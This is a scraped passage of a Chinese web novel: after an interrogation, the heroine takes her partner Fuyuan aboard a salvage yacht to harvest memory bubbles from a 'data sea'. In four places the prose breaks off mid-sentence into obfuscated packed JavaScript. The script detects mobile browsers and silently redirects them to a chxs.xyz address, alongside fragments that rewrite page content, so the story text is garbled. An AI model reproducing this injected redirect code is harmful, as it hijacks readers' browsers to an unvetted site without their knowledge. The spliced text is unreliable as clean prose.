这张照片和刺鲸悬赏令上的一模一样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868783|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 是戴着画了白叉的黑色全包头盔、完全看不出脸的扶鸢。 区别只在于苍镹给的是平面照片,而悬赏令上的是全息半身照。 唱鹿故意露出有些困惑的神情,“说不上像,有点类似。” 审讯至此,苍镹似乎已经有了答案。 她没有收回照片,而是说:“这个人在八天前的夜里,也就是刺鲸组织的押镖结束的半个小时后,袭击了N278港口。现在联邦怀疑昨天袭击你们的也是这个人。” “因为暮烟是大川的女儿?” 苍镹没有说话。 不否认便是默认,说明联邦确实把这次袭击事件定性为继夜袭N278港口后的报复行为了。 事情走向正合唱鹿心意。 她继续提问:“这个人为什么要袭击刺鲸?” “你知道答案。”苍镹说,“总之,从今往后不要再和刺鲸扯上关系,这对你没有丝毫好处。” 她起身,推开审讯室的门,“我送你出去。” 唱鹿站起来,“我这算洗脱嫌疑了?” 苍镹:“恭喜你,暂时安全了。” 暂时。 唱鹿敏锐地捕捉到苍镹谨慎的用词。 这其实是警告: 如果后续再有什么相关事件,她会被作为第一嫌疑人被联邦逮捕。 走出门,外头是一条很长的走廊。 四楼整一层都是审讯室,规整地分布在走廊两侧。 数量多得就好像联邦每天都有审不完的犯人。 实际呢? 那怕是分局大门外躺了一具尸体,也不一定有人管。 经过走廊上的一盆泛着蓝光的奇异盆栽时,听见有人扯着嗓门正在嚎。 “证据呢!” “呵呵,你们睁大眼睛看清楚,那枚芯片是我的吗?” “没有确凿的证据就把我带到这里审问,联邦就是这么对待它的合法公民的吗!” 传来声音的审讯室门没关,唱鹿路过时往里头扫了眼。 正在被审讯的是个兽耳族男性,也是他在激动地发表抗议。 这人挺好认的。 倒不是长得好看,而是他的毛色。 一种非常纯净的白色,像冬日的落雪一样。 从尾巴的形状来看,这应该是一名犬属兽耳族。 唱鹿没有停留,跟着苍镹来到电梯前。 苍镹本想给她按一楼,唱鹿及时开口道:“三楼,领队还在休息室等我。” 按下三楼的按钮,苍镹深深地看了唱鹿一眼,“你今年二十一岁?” 唱鹿斜睨她,没答话。 “你的父母呢?” “这也是审讯的一部分?”唱鹿反问。 “不,纯属个人好奇。因为你很像我认识的一名故人。” 唱鹿干笑两声。 真是好过时的套近乎方式。 电梯到了,苍镹目送她走进轿厢,“希望以后不会再见。” 唱鹿刚想答话,门已经关上了。 * 走进空荡荡的悬浮电轨车车厢,唱鹿就近选了个位置坐。 她从联邦的审讯中安全脱身,报废场袭击事件算暂告一段落了。 接下来,得把精力放回正事上。 虽然苍镹多次警告她不要再和刺鲸产生交集…… 这是不可能的。 目前寻找风铃唯一的线索就是刺鲸,绝对不能轻易放过。 况且,她已经有了新的切入点。 ——方才在联邦大楼里见到的那个兽耳族。 联邦并没有掌握他是刺鲸成员的证据。 也就是说联邦没找到他的组织芯片。 而在没有任何证据的情况下,按照联邦法律规定,分局扣压疑犯不能超过十二个小时。 那么…… 正想着接下来要怎么做,耳坠响起提示音。 是地菩萨的来信。 [人员集结完毕,今晚出海。] 23. 登船 023. “地菩萨?” 扶鸢皱着眉头重复。 这个名字,在她听来算得上刁钻古怪。 “我和他签了合同。现在人员到齐了,今晚就出海。” “出海?”她不明白,“去捕鱼?” 唱鹿正好在喝汤,听完猛呛了一下。 连续咳嗽好几声才缓过来,泛红着眼圈反问道:“你对这个世界了解多少?” 这话有点耳熟,扶鸢觉得自己好像在不久之前也问过唱鹿类似的话,没想到成了一记回旋镖。 扶鸢说:“我急着找风铃,进来前没有提前做过功课。很多东西都是道听途说……有些了解,但不多。” 情况和唱鹿猜想的一致。 “和我一起出海吧。”唱鹿提议道,“你是受赐者,地菩萨没有理由拒绝。” 说到这里,扶鸢问道:“那你呢?你不是还没弄明白[魔方·拟造]的使用方法吗?” 唱鹿不可置否地点点头,“基本原理我大概有数,只是还没实践过。今晚正好试试。” 扶鸢看着她认真干饭时的侧颜,在心底默默叹了口气。 沉默半晌,才说:“这个世界的人都像你一样拼命吗?” 唱鹿斜睨她,“你好像对我有什么误解。” 扶鸢挑眉,示意她往下说。 “我很惜命,不然也不会和你同居。” “是合租。”扶鸢纠正道。 唱鹿没理她。 继续道:“我孤寡一人,无牵无挂,想要在这里活下去,只有拼命。除此之外,我没有其他生存优势。你可以为了找风铃把命豁出去,同样的,我也会为了活下去,用性命作为筹码和这个世界赌一把。” * 地菩萨的当铺开在弹孔街上。 可在三十个纪年前,这里其实不叫弹孔街。 彼时伽马地区的治安比现在还差,枪战是家常便饭。 这条街偏偏在两处贫民窟的交界处,属实是兵家必争之地。 在那段硝烟四起的日子里吃了不少枪子,周遭的商铺墙上千疮百孔。 久而久之便得了这个名号:弹孔街。 时过境迁,联邦多年来不断清剿打压帮派,整个伽马地区和平了不少。 但能在这条街上开店的,依旧是那些有能耐游走于黑白两道的狠角色。 地菩萨就是其中之一。 晚上八点,弹孔街上一派昏暗。 一半的路灯没有亮,剩下那些的照明效果也不尽如人意。 好在两旁的商铺都有营业,从橱窗里投出的灯光足以让人准确找到位置。 全街唯一的当铺里灯火通明,地菩萨正坐在方形茶桌后方,惬意地泡着茶。 他的左手已经装上了一条机械义肢,表面做了与本体一样的毛绒伪装,乍一看和妈生的没有差别。 地菩萨察觉有人进门,抢先开口招呼,“鹿姐来啦?坐,喝杯茶润润嗓子。” 说完抬起眼,发现唱鹿身后还跟了一个漂亮得叫人挪不开视线的女人,“这位是……?” 扶鸢压根没听见。 她被摆在入门处的炎龙头盖骨吸引,满脸写着惊讶。 这头。 唱鹿依言坐下,端起茶杯抿了一口。 福音地区的特产红茶,进口货,挺贵的。 喝完接收到地菩萨的眼色,才慢吞吞道:“她叫扶鸢,我的搭档。” “搭档?”地菩萨那张毛脸上闪过些许疑惑的神色,“有意思。鹿姐这么多年独来独往惯了,怎么突然有了搭档。” 他说得对。 唱鹿的确是独狼一头,除非必要不会轻易和人打配合。 但—— 唱鹿轻描淡写道:“扶鸢是受赐者。” 无懈可击的理由,连见多识广的地菩萨也不免瞳孔地震了下。 他伸出脑袋去打量正在欣赏罗刹女像的扶鸢。 表面看不出什么,所有受赐者看起来都和普通人一样。 想了想,许是觉得唱鹿没理由骗他,于是把视线收回来,等着唱鹿的下一句话。 “今晚的船上还缺人吗?” “缺,当然缺!清道夫不嫌多。” 这时扶鸢走了过来,正好听到两人的谈话。 她好奇,“清道夫是什么?” 唱鹿给她递了个“大人说话小孩别插嘴”的眼神。 扶鸢耸耸肩,刚想转身研究去那尊全金打造的千面佛,反而被唱鹿拽住。 “扶鸢想定制个伪装面具,费用就从这次出海的佣金里扣。”唱鹿说。 地菩萨讪笑,“鹿姐,您这是想空手套白狼啊!” 这话说的……唱鹿的确有此意。 “合同已经签了,难道我还能临时跳海游上岸?你就说行不行吧。” “行行行。”地菩萨信得过她,“那就先签合同吧。” 扶鸢照做,合同签订。 地菩萨又起身走到右侧角落的椅子旁,示意扶鸢过来,“请坐。” 她依言坐过去。 刚落座,无数根细长的机械手臂从椅子底部伸出来。 有的左右固定住扶鸢的两颊,有的则托住她的下巴,还有几只手在测量她的五官数据。 正脸,侧脸,抬头,低头,每一个动作产生的数据差都要精准记录。 测量期间,地菩萨问:“面具上要不要加什么图案?现在流行在两侧镶嵌光带,到夜里就像外头的霓虹灯似的,走出街你就是最靓的崽。” 扶鸢冷冷道:“不——” “要,当然要。”唱鹿打断她,又对地菩萨说,“眼睛的位置画两个叉叉,颜色要足够显眼。” “行。” 扶鸢:“……” 有理由怀疑某人是在内涵她。 数据测量完毕,地菩萨整理着半空中不断弹出的悬浮屏,说:“做好后我让人送货上门?” “不用,我亲自来取。”唱鹿伸出手,“船票呢?” “差点忘了。”地菩萨抽身出去,在茶几下取出两张空白卡片,“给,九点开船。” 唱鹿接过卡片后抖了抖。 几行字浮现在卡面上—— [地点:水瓶口岸-第3号停泊口] [船舶:伊札里斯号] [船长:地菩萨] [舵手:若亚] [起航时间PM9:00] [起航倒计时00:23:00] “还有二十三分钟起航,我和扶鸢先过去。” 两人走到门口,地菩萨忽然想起什么,冲她们高喊道:“鹿姐,你的摩托车已经修好了,在后头车库里。” 唱鹿摆摆手,“知道了。” - 扫瞄虹膜,车库门打开。 那辆二手独轮摩托就停在车库中央,暗绿色的金属外壳泛着崭新的光泽。 地菩萨不仅给它换了能源箱,还做了日常保养。 唱鹿骑上摩托,试着踩了下油门。 摩托立即发出咆哮声,像是被闲置久了,急着想要出去狂奔几圈。 她侧身拍拍后座,“上车。” 扶鸢坐上来,戴好头盔后搂住唱鹿的腰,“我还以为你把它卖了。” “租金已经给到了下个纪年,我可舍不得卖它。”唱鹿猛踩油门,载着扶鸢冲进夜色里,“地菩萨开当铺,但也不是什么都收,这种二手摩托不值钱。” “地菩萨。”扶鸢复念这个名字,忍不住笑出声。 “笑什么?” “他长得像一头黑熊,又叫地菩萨……”扶鸢强忍着笑挤出几句话,“我想知道他会不会偷袈裟。” “……” * 疾驰的摩托车将高楼大厦甩在身后,呼啸的风中开始出现一股咸腥味。 离海洋越来越近了。 “扶鸢,你知道梦境吗?” “听其他玩家说过一点,类似于游戏副本?” “出海不是为了渔获,而是为了造梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872435|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。越来越多的人从梦境里得到了赐福,也就是魔方。所以入梦的门票越来越贵,但也有越来越多的队伍出海打捞。” “打捞梦境……?” “泡沫。从数据海底升起来的泡沫,那些才是我们的出海的目标。” 扶鸢没答话,这样三两句的描述并不能让她完全理解出海与梦境的关联。 唱鹿从后视镜里窥见她脸上的疑惑,“这些对我们而言习以为常的概念,在你的认知里好像是天方夜谭。” “的确。”扶鸢喃喃,“这个世界一直在刷新我的认知。” 顺利抵达水瓶口岸。 唱鹿骑车在岸上里兜了大半圈,才找到处于边缘地段的第3号停泊口。 伊札里斯号号就在第3号停泊口里。 它是一艘中型游艇,分为三层,船身主要是深蓝色,又用暗红色做了条裙带,分割出上半的象牙白。 唱鹿和扶鸢在自主登船机器上刷卡。 通过验证后,伊札里斯号的侧面豁开一个口子,斜梯缓缓降下。 此时距离起航还有十分钟。 登船,经过船舱,一路都没见到其他人,两人心照不宣地往甲板走去。 刚走出舱门,咸咸的海风迎面扑来。 一股鱼腥味随之钻进鼻孔里,唱鹿不适地皱起眉头。 果然,不管出海多少次,她还是无法完全适应海洋的气息…… 反观扶鸢。 她没有任何反应,已经在甲板上四处走动了。 天选出海人。 要知道大多数人都承受不住这种腥气。 “鹿——!” 一把脆生生的嗓音在背后响起,不能再耳熟。 唱鹿转身,只见麻薯背着巨剑飞奔过来,一脑袋扎进她怀里,狂蹭撒娇道:“好几天没见,我可老想你了!” “哈。”唱鹿把这粘人鬼从身上扒下来,“你怎么也上船了?” 麻薯骄傲地抬起下巴,“那当然是因为——”话没说完,视线朝唱鹿右手边一斜,笑容瞬间消失,“她是谁?” 这话扶鸢也想问。 于是给唱鹿递了个眼神,表示“你来介绍一下?” “她是我舍友,扶鸢。”唱鹿先为麻薯介绍,再转向扶鸢,“这是麻薯,追月族,以前搭档合作过几次。” “是、很、多、次!”麻薯不甘示弱地强调。 这咄咄逼人的气势,扶鸢立马懂了。 她朝两人打了个“你们聊”的手势,默默走开继续闲逛。 等扶鸢走远,麻薯拽住唱鹿的袖子,小小声问道:“你有了舍友怎么不告诉我?” 唱鹿用哄小孩的语气道:“你现在不是知道了吗?” “那不一样……” “一样。”唱鹿轻轻捏了下她的鼻尖,“你是不是也……?” 麻薯眼睛一亮,用力点点头,然后双手并用拽住唱鹿往隐蔽处走。 找了个没人看得见的地方,才压低嗓音说:“我给你表演一下。” 麻薯拔出巨剑,深吸一口气。 眨眼的功夫,她瞬移出了好几米,黑暗中旋即划过一道冷光,角落的木桶碎成了好几瓣。 没等唱鹿反应过来,麻薯已经回到眼前,“怎么样?” 求夸夸。 “不错啊!” “是吧!” 唱鹿摸摸她的小脑袋,想到什么时手上动作一停,“能让我看看你的魔方吗?” 她以为麻薯会拒绝。 魔方的重要性,拥有过的人都清楚。 麻薯却不假思索地掏出了自己的魔方,“给~” 这孩子…… 唱鹿不知道该说什么好了。 接过魔方,熟悉的界面弹出: [名称:魔方·闪杀] [简述:发动时持有者可往不限方向瞬移5~20米,瞬移后第一次攻击威力增强2倍,冷却时间为30秒。] [层级:A级] [隶属:Cvii] 24. 子弹 024. 迄今为止的第三个隶属名称出现了。 它们代表某个神祗?还是有其他意义……唱鹿暂时无从得知。 她观察着手中的[魔方·闪杀]。 和她见过的另外两块魔方没有太大的差别,都是硬币大小、通体透明,内部流转着诡谲的光。 若非要说出什么区别,大概是这块魔方的晶体更混浊一些。 “你是什么时候得到它的?”唱鹿把[魔方·闪杀]还给麻薯后问道。 麻薯歪着脑袋想了想,“五天前!” 唱鹿盘算了一下时间。 五天前,没什么紧要事发生。 当时她的重心还是在测试那条链路的特性。 于是又问:“你入梦了?” 麻薯的表情变得有些许微妙,看脑袋偏转的弧度应该是想摇头,又没把动作完整做出来。 紧接着犹豫了足有十来秒,才说:“是它来找我的。” 唱鹿心下一震。 她完全理解,也相信这句话的真实性。 这些魔方似乎存在自我意识,有自己的喜好与偏向。 它们看似是物,实则可能是另一种生命体。 可惜来不及和麻薯进一步探讨了。 地菩萨已经登船,发信息让所有人到甲板上集合。 - 地菩萨带来了另外三名成员,两女两男。 今晚的出海队伍一共有八个人。 唱鹿观察其他队友。 一位自然人女性,一位角鳞族女性,还有一对追月族男性双胞胎。 身为船长的地菩萨先来了个开场白,“接下来的几个小时内,我们八个人将会乘坐伊札里斯号前往数据海深处进行打捞作业。海上危机四伏,大家要彼此信任,学会合作。想必大家也留意到了,此次招募我特地设置了一个门槛,应聘者必须是受赐者——” 话至此处,另外七个人心照不宣地彼此打量。 看眼神都在好奇其他人的赐福是什么。 “为了接下来更好的配合,请大家做个简单自我介绍,并展示一下各自的赐福。” 唱鹿勉力控制住想抽搐的嘴角。 她还没完全掌握[魔方·拟造]的使用方法,但此时此刻更不能表现出紧张或无措。 出门在外。 面子都是靠自己撑起来的。 见席间无人愿意主动先上,站在地菩萨左侧的自然人女性上前一步。 她说:“我叫若亚,如各位所见,是个自然人。我是本次出海的领航员,俗称舵手。至于我的赐福——” 随即伸出手臂,对着游艇之外空旷的海面,如同拨动琴弦般轻轻一撩。 突然,四面涌出不知从何而来的浓雾。 浓雾以伊札里斯号为中心,开始向整个水瓶口岸扩散,直到将所有人裹挟。 但随着若亚的下一个动作,浓雾又在瞬间消散,露出皎洁的月光。 双胞胎兄弟赞叹道:“真是个与舵手完美适配的赐福。” 话毕,又停止了鼓掌,“但只是控制雾气吗?” 若亚扬起得意的笑,“我的赐福是小范围控制天气。晴、阴、雨、雪、雾,只要我想都可以变化。” “轮到我们了。”双胞胎兄弟说。 “我叫欧泊。”左边说完,右边的追着开口,“玉髓。” “我们负责打捞泡沫,也就是渔民。在拥有赐福之后,不管距离多远,我们都可以听到对方的心声。” 一直沉默不语的角鳞族女性轻呻,“就这?” “当然不止。”双胞胎兄弟同时反驳。 他们的每一句话都重叠在一起,就好像同一段音频叠了两层后外放。 “我的赐福是可以让人的行动的速度加快。”欧泊的视线扫过所有人,“有哪位小姐愿意配合我表演一下吗?” 麻薯有兴趣,“我来吧!” 欧泊绅士地弯腰,轻轻握住麻薯伸出来的右手,然后说:“娱乐室的桌上有一副扑克牌,可以请这位可爱的小姐帮忙拿给我吗?” “好!”麻薯说完便跑了出去。 她的速度极快,异于常人。 从离开到回来仅用了半分钟,快得在场所有人咂舌。 麻薯把扑克牌交到欧泊手上,欧泊也朝众人做了个优雅的谢幕姿势,“这便是我的赐福,感谢各位的观赏。” 欧泊表演完了,其他人自然而然把目光落到玉髓身上。 这对双胞胎长得一模一样,发型和穿着打扮也完全一致,连说话的音色都有九分相似。 两人对视一眼,欧泊从鞋子外侧抽出一把小刀,往左手手心划了一道口子。 玉髓见状握住他的左手,默默发动赐福。 众目睽睽之下,伤口流出的第一滴鲜血还没落到甲板上,欧泊的伤口已经完全愈合了。 玉髓说:“受伤的随时可以找我。” 唱鹿注意到一个细节,“接受治疗需要触碰到你?” “必须通过肢体接触。” “明白了。” 接下来是那位角鳞族女性。 她二话不说自空气中凝起一道风刃,挥出去切断了自空中飞过的一只鸟。 “你们可以叫我拓风,我的赐福是氧气提取,你们看到的风刃就是我提取空气中的氧分子后塑造出来的。作为渔民,我可以不穿带任何供氧装置下海打捞,我身上的赐福可以保证有源源不断的氧气。” 同为渔民的欧泊眼前一亮,“那……” 拓风知道他在想什么,“不行,我只能为一个人供氧。” 这几个人的赐福都很不错。 如果配合得当,则可攻可守。 尤其是玉髓的治疗,可以说是这一趟航行中最大的保证。 在其他人展示赐福的过程中,唱鹿一直在默默感受着。 魔方会相吸或互斥,但整一轮感受下来,都还好。 没有特别吸引或排斥的,除了那位拓风。 唱鹿可以明显地感觉到自己手上的[魔方·拟造]对拓风产生了排斥。 虽不像对[魔方·临危]那般严重,也有四成左右。 讨厌,但不多。 思考之际,麻薯和扶鸢也都展示完了。 只剩唱鹿了。 拟造…… 虚拟、构造。 以某种虚拟的基础去构造出另一种事物。 比如说。 玻璃炸弹。 玻璃自然不是炸弹,但玻璃可以拟造为炸弹。 唱鹿朝前走一步,刚迈出去,扶鸢牵住她的手。 她回首,正好对上扶鸢的眼睛,对方的眼神在说:“你确定吗?” 点头,同样用眼神回应,“放心。” 这头两人刚眼神交流完,唱鹿又听到左侧有人故意挤出一声哼。 她只好转向麻薯那边,也摸摸头,哄一哄。 夹心饼不好做啊! 唱鹿走到欧泊跟前,“能借你的扑克牌一用吗?” “当然。”欧泊露出迷人的微笑,“请,这位美丽的小姐。” 拆开扑克牌,唱鹿随机抽出一张方块4。 她表面很平静,心脏已经开始敲锣打鼓了。 这么做到底能不能行,思考出的理论到底对不对? 不知道。 事已至此,只能大胆试试了。 唱鹿把卡片夹在右手的食指与拇指之间,对准海面。 距离第3号停泊口大概百米左右的地方,有一块裸露出水面的珊瑚礁。 大小正合适,像一块靶子。 唱鹿凝神定气。 让心跳缓下来,并逐步趋同于呼吸频率。 如果把手臂设想为枪管,那么—— 扑克牌就是子弹! 一瞬间。 扑克牌朝着珊瑚礁径直飞射而去,它如同一枚子弹,彻底将礁石击穿! 珊瑚礁在强大的冲击力下化为许多碎块,散落着滚入海面,激起一道道涟漪。 提示也在此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876604|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹出: [名称:魔方·拟造] [简述:持有者可将一切非武器类物品,拟造为武器(初次拟造威力为3倍,第二次使用递减为1.5倍,第三次则无效)。对武器本身没有增幅效果。] [层级:S级] [隶属:Afkth] 唱鹿有点发懵。 她知道这块魔方很强,因为大川曾用它把玻璃化作炸弹,把扶鸢炸成重伤。 万万没想到,初次拟造的威力竟然是3倍! 3倍! 意思就是说这次用扑克牌拟造的效果是3倍,下次就只有1.5倍了。 亏了。 唱鹿的心在抽痛。 这加成用来对付敌人,肯定一击必杀……偏偏被她用来打珊瑚礁。 “好强!” “竟然是攻击型赐福!这威力,简直不可思议!” “是飞镖吗?” “不,飞镖的杀伤力没这么大。” 众人还在积极地讨论着,他们大多数人的赐福都偏辅助向,也是头一回见到这么效果爆炸的赐福。 “那到底是怎么回事?” “这就得问问当事人了。” 唱鹿扭头,所有人都把视线集中过来。 “在我眼里,它是子弹。” “这就是我的赐福,可以把任何东西变为武器。” - “伊札里斯号即将起航,请各位成员做好准备。”若亚的嗓音从广播里传来,“重复:伊札里斯号即将起航,请各位成员做好准备。” 广播结束后,游艇引擎发出轰鸣,推动着伊札里斯号驶入数据海。 此时,唱鹿、扶鸢、麻薯都靠在甲板的围栏上。 水瓶口岸与第3号停泊口越来越远,她们的视野也随之变得开阔。 船尾翻起白色的浪花,无边无际的海洋伸出臂膀去拥抱海岸。 可惜距离太远,沙滩的美景都变成了一条细线。 在月色的照映下,扶鸢勉强看清最近的一片沙滩。 “沙子是黑色的……” “很奇怪吗?”麻薯问。 “第一次见,觉得新奇罢了。” 唱鹿没有出声。 她知道扶鸢这么说,肯定是因为现实世界的海滩不是黑色的。 那会是什么颜色? 白色的吗? 在唱鹿的认知里,沙滩就是应该黑色的。 游艇行驶得很快,转眼间,四周已经不见陆地。 再继续往前进,伽马地区那些高楼大厦投出的镭射光线,镀在云朵表面的蓝紫光,也会从自然界消失。 唱鹿登到船身最高处,闭上眼,举起右手。 她在感受海风的方向与空气湿度。 现在是顺风行驶。 湿度适中,不需要额外补水。 直至远处的那片海域上飘着什么亮晶晶的东西,她才重新跳回甲板。 甲板上,大家都在各自干各自的。 双胞胎兄弟在玩扑克牌,拓风靠着墙闭眼小憩。 “伊札里斯号已经进入浮沫区。”唱鹿对其他人说,“我们这次的目的地是深度一千的打捞区,还得再往深处行驶半个小时。困了的可以先回房休息一会儿,抵达目的地会有广播通知。” 游艇二层是休息区,每个人都有独立的船舱以供休息。 拓风睁不开眼,抬了下右手,“我先回去眯一会。” 扶鸢和麻薯还靠在护栏边上。 两人都在往海里看。 数据海上漂浮着或多或少、或稀或稠的白色泡沫团。 它们随着洋流起起伏伏,被月光照耀而发亮,也用这些光线照亮海底。 成堆的珊瑚礁,游动的鱼群。 还有沉入海洋深处、绿锈斑斑的渔船,还有渔船内早已被啃食殆尽的森森白骨…… “我感觉很不好。”扶鸢望着这副景象说。 “这就是数据海。”唱鹿淡然道,“所有人的埋骨之地。” 25. 触手 025. 伊札里斯号慢悠悠地在海面上滑行。 它的船头推开聚集在海面上的浮沫,前往更深的海域。 随着行程的推进,浮沫也越来越密集,越来越浓稠。 在浮沫区的后半段,这些泡沫团甚至高高地垒起,张牙舞爪地伸向天空。 “这种情形正常吗?”扶鸢很好奇。 司空见惯的其他人则完全不在意眼前的景致有多奇异,连麻薯也回了船舱休息。 只剩唱鹿还在陪着她。 望着茫茫无边的数据海,唱鹿笑问道:“你猜这一片为什么叫浮沫区?我头一回出海时也感到新奇,可当我知道这些浮沫都是尸体残骸之后,再也没认真看过这片海域。” 美吗? 用尸体堆出来的。 扶鸢露出了一种悲天悯人的表情,默默地将视线转移到天边,“还有其他分区?” “过了浮沫区,就是打捞区。打捞区又根据深度做了三个级别的划分,越深的打捞区越危险,但打捞出的泡沫杂质更少更纯净。” “打捞区之后呢?” “没人去过,那是那片不能接近的神秘海域。” 谈话间,扶鸢的瞳孔突然放大。 她指着不远处的一坨阴影,“快看,有人! 唱鹿循声望过去,又听见扶鸢急道:“他可能还活着,我们——” “他不可能还活着。”唱鹿强行制止了要冲向船长室的她,“你再看清楚一点。” 伊札里斯号往前推进了几米,船上人的视野角度也完全不同。 方才只能看到有人趴在一块浮木之上,现在则能看清这人的右边身子已被什么东西啃食干净,连骨头都不剩。 哪怕捞上来,尸体也只有一半。 “这是介于浮沫区与打捞区之间的一段缓冲地带,我们都叫它作死亡边界。”唱鹿说,“那些死在打捞区的人,尸体会随着洋流被推向这里。这里没有浮沫,水流稳定,那些尸体便聚集在了这片海域的底部。你要是不害怕,现在就可以往下看。” 仅仅是往水底瞅了一眼,扶鸢顿时小脸刷白,嘴巴微微发颤。 水底下有数不清的白骨。 层叠积累,乍一看还以为是白色珊瑚礁。 “这片海洋到底有什么魔力?” “出海的人都是求财。据说大部分人的魔方是从梦境里带出来的,入梦的门票也因此水涨船高。在金钱的驱动下,出海的人越来越多,一去不复返的也越来越多。” “那你还……”扶鸢对上唱鹿那双没什么情绪的眼睛,咬了下嘴唇。 唱鹿一笑,“怕了?” “我们现在是一根绳子上的蚂蚱。与其死的不明不白,不如跟你一起出海。” “听你的语气,是做好和我同生共死的准备了?” “我不会死。”扶鸢一字一句道,“在找到风铃之前,我绝对不会死。” “伊札里斯号即将进入打捞区,请各位船员做好准备。”若亚的声音再度从广播中传来,“重复:伊札里斯号即将进入打捞区,请各位船员做好准备。” 广播结束,伊札里斯号开始加速行驶,引擎的轰鸣声变得刺耳。 正在打牌的双胞胎兄弟自觉放下手里的扑克,起身走向船舱。 唱鹿也带着扶鸢跟上,经过二层走廊抵达尾端,是男女两件更衣室。 走在前面的兄弟走进男更衣室,后面的唱鹿和扶鸢也随后进入女更衣室。 更衣室内,麻薯和拓风已经换好了作战服。 这些作战服都是特制的。 不仅能防水挡风,还内置通讯装置,非常适合海上战斗。 “那我们先出去了。”麻薯对两人说,拓风也示意性地颔首。 “嗯,回见。” 唱鹿引导扶鸢挑了身合码的作战服,各自换上。 换好衣服后得挑选武器。 武器室与更衣室相连,她们走进来时,双胞胎兄弟正好离开。 唱鹿优先为两人选了趁手的冷兵器,以短刀为主,匕首为辅。 然后才是枪支。 海上武器主要使用手枪,其次是冲锋枪,狙击枪那种大家伙因为场地限制根本派不上用场。 扶鸢把枪支和备用弹匣逐一别在腰间的暗扣上。 她不理解为什么突然开始备战,但也没有过问。 唱鹿做什么,她便学什么。 一切准备妥当后,唱鹿才说:“你在浮沫去看到的尸体,一半以上是死于异种之手。” “异种?” “一种生活在数据海深处的丑东西,进入打捞区后就会见到它们。异种攻击性极强,一旦盯上你就不会轻易放过。” “清道夫负责清理异种?” “对。”唱鹿领着她往外走,“船长是出海组织人,舵手负责规划航行路线和确定打捞点,抵达打捞点后,渔民下海打捞泡沫。” 扶鸢听完依旧一知半解。 泡沫? 浮沫区的那些不就是泡沫吗? 一走出船舱,她的疑问便有了答案。 伊札里斯号的周围,准确说这一整片海域,空中漂浮着无数透明的泡泡。 或大或小,自数据海的深处缓缓升起。 它们在海上飘摇,有的一出海面便脆弱地破掉,有的则飞到了高空,几乎要触摸到月光。 一颗泡泡飘到眼前,扶鸢不自觉伸出手。 触及的瞬间,一段极其清晰但并不属于她的记忆涌入脑海中。 好开心。 真的好开心。 今天妈妈带我去游乐园玩。 坐了旋转木马和摩天轮,还买了气球和棉花糖。 棉花糖是粉色的,草莓味,特别甜。 妈妈还抱着我和妹妹拍了好多照片。 真好! 如果可以一辈子和妈妈、妹妹在一起就好了…… 如果可以…… 一辈子…… 泡泡破碎了。 回到现实的扶鸢用力眨了眨眼睛,“我……” “看到别人的记忆了?”唱鹿心知肚明。 “这些泡泡其实是……?” “每一颗泡泡都是一段记忆,已逝之人的记忆。”唱鹿说,“所有人死后都会被送入数据海。也有传言说,数据海岸边的黑沙都是已死之人的骨灰。” 扶鸢望着满天的泡泡,眉间有无法疏解的愁绪。 唱鹿也伸手去触摸离她最近的那颗泡泡,但她早已习这种读取回忆的方式,不过闭眼几秒的功夫,又迅速抽离出来。 “这些泡泡是梦境最原始的材料。我们出海就是为了收集这些泡泡,当然,是海底的那些。”唱鹿耐心地为她解释,“泡泡是有品质差别的,好的渔民一眼就能看出一枚泡泡的质量。你看那两兄弟和拓风——” 扶鸢斜睨过去,船上的三位渔民对这些泡泡视若无睹,正各自休整装备。 “根本不稀罕飘上来的这些,品质太差。” 唱鹿继续说:“泡泡打捞上来后会交由专业的人士进行提纯,最后固化为蓝血。这种人被称为工程师。蓝血,顾名思义,是一种凝固的蓝色液体,它比泡泡更方便运输和交易。将蓝血放入特定的容器里,消费者便可以通过读取装置进入梦境。这便是梦境形成的全过程。” 听到这里,扶鸢终于懂了,“梦境是一条完整的产业链。” “一直都是。这条产业链背后还有许多你没接触到的角色——深潜者,纪录官,织梦师,引路人,都是围绕梦境诞生的特殊职业。假如有一天梦境不存在了,这个世界将会变成一团乱麻。”唱鹿给扶鸢递了个意味深长的眼神,“那天晚上,刺鲸在押运一批蓝血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888572|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 